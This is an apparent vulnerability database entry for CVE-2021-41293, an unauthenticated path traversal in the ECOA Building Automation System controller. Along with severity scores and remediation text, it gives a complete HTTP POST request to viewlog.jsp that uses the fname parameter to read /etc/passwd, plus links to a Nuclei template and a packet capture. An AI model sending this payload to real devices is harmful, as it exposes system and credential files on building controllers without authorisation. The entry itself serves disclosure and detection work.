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CVE-2021-41293: ECOA Building Automation System - Arbitrary File Retrieval

TitleECOA Building Automation System - Arbitrary File Retrieval
Author0x_Akoko
SeverityHigh
ImpactUnauthenticated attackers can read arbitrary files from the ECOA BAS controller including /etc/passwd via path traversal in the fname parameter, potentially exposing sensitive system configuration and credentials.
RemediationApply the latest security patches or updates provided by the vendor to fix the arbitrary file retrieval vulnerability in the ECOA Building Automation System.
CVSS Score7.5
EPSS Score0.89647
CVE IDCVE-2021-41293
CWE IDCWE-22
Tags cve2021 cve ecoa lfi disclosure vkev vuln

🔍 Vulnerability Description

The ECOA BAS controller suffers from an arbitrary file disclosure vulnerability. Using the ‘fname’ POST parameter in viewlog.jsp, attackers can disclose arbitrary files on the affected device and disclose sensitive and system information.

🌐 HTTP Request

POST /viewlog.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Content-Length: 53
Accept-Encoding: gzip

yr=2021&mh=6&fname=../../../../../../../../etc/passwd

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41293.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41293.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A